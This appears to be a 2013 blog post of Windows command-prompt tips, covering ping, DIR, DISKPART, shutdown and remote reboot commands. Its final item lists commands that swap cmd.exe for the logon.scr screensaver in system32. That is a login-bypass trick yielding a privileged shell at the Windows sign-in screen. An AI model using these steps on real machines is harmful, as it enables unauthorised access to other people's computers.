Wednesday, 9 January 2013
cmd command
14. Reboot a Remote Computer
shutdown -r -f -m \\remotePC -c "System will be rebooted in 20 seconds"
15. change color
COLOR 08
0 = Black 8 = Gray
1 = Blue 9 = Light Blue
2 = Green A = Light Green
3 = Aqua B = Light Aqua
4 = Red C = Light Red
5 = Purple D = Light Purple
6 = Yellow E = Light Yellow
7 = White F = Bright White
15.Ping
Ping tests a network connection.If successful, ping returns the ip address. Its a very useful and popular command which we need to check whether our internet connection is working properly or not.
Syntax
PING [options] destination_host
Example:
ping 192.168.0.1 -t
Ping Options
-w timeout (Timeout in milliseconds to wait for each reply)
-i TTL (Time To Live)
-v TOS (Type Of Service)
-a (Resolve addresses to hostnames)
-n count (Number of echo requests to send)
-t (Ping the destination host until interrupted)
-l size (Send buffer size)
-f (Set Don’t Fragment flag in packet)
-r count (Record route for count hops)
-s count (Timestamp for count hops)
-j host_list (Loose source route along host_list)
-k host_list (Strict source route along host_list)
destination_host (The name of the remote host)
DIR
Display a list of files and subfolders.
Syntax
DIR [pathname(s)] [display_format] [file_attributes] [sorted] [time] [options]
[display_format]
/P Pause after each screen of data.
/W Wide List format, sorted horizontally.
/D Wide List format, sorted by vertical column.
[options]
/S include all subfolders.
/R Display alternate data streams. (Vista only)
/B Bare format (no heading, file sizes or summary).
/L use Lowercase.
/Q Display the owner of the file.
CLS
Simply typing cls and pressing enter will clear the dos screen.
EDIT
Syntax
EDIT [d:][path]filename [/B][/G][/H][/NOHI]
Starts the MS-DOS editor, a text editor used to create and edit ASCII text files.
16)
remove-hide partiton by using cmd
step #1: Navigate to Start > Run and type "cmd" and hot "Enter".
step #2: Type "DISKPART" and hit "Enter" .
step #3: Type "List Volume" and hit "Enter".
step #4: Now type "select volume #" to select your volume number respective to your drive letter.
(# refers to number)
step #5: After selecting your desired volume just hide it by using this command "remove letter #".
(# refers to drive letter)
If you wish to have your drive back simply repeat the process but in step #5 just replace "remove" with
"assign" i.e "assign letter #"(# refers to drive letter)
()Tip for shutdown windows --------------------------
Try to open:
Run -> cmb -> shutdown -a
This prevent the shutdown.
create a new shortcut.. then write;
shutdown -s -t 0 = this is for shut down in 0 seconds (t = time s=shutdown)
shutdown -r -t 0 = same but this is for restart comp. in 0 seconds..
(only for windows xp)
in win.98 this is different; we were wrote rundll32.exe -s or something like this..i couldnt remember right now..<PIXTEL_MMI_EBOOK_2005>9
17)
goto start > run and type "cmd" cmd
than write this
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Labels:
cmd
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment